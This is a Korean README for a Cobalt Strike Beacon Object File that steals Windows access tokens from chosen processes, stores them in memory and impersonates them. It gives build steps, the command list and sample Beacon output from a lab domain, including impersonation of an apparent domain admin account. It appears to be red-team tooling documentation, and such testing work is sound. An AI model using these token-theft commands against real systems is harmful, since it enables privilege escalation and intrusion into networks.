
인메모리 토큰 금고 BOF for Cobalt Strike
이 Beacon Object File(BOF)은 도난/복제된 Windows 액세스 토큰을 메모리 내 저장소에 보관하며 다음을 수행할 수 있게 합니다:
make all로 빌드합니다.token-vault.cna aggressor 스크립트를 로드합니다.beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
token-vault create 명령은 비콘의 힙에서 빈 볼트를 할당합니다. 출력에는 볼트의 메모리 주소(일명 볼트 ID)가 포함되며, 다른 token-vault 명령에서 볼트를 지정하는 데 사용됩니다.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
또한 특정 볼트 ID를 기본 볼트로 설정할 수 있습니다. token-vault 명령에 볼트 ID가 포함되지 않은 경우 기본 볼트가 사용됩니다.
beacon> token-vault set 0000000000C31610
중요한 점은 구성된 기본 볼트는 Cobalt Strike 클라이언트 내부에 존재하며 클라이언트 간에 공유되지 않는다는 것입니다.
token-vault steal 명령은 지정된 프로세스의 토큰을 복제하여 볼트에 저장합니다.
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
token-vault use 명령은 볼트의 토큰을 가장합니다. 토큰이 존재하지 않으면 해당 토큰을 도난하여 볼트에 저장합니다.
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
token-vault remove 명령은 볼트에 저장된 토큰을 제거합니다.
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
또한 token-vault remove-all 명령은 모든 토큰을 한 번에 제거합니다.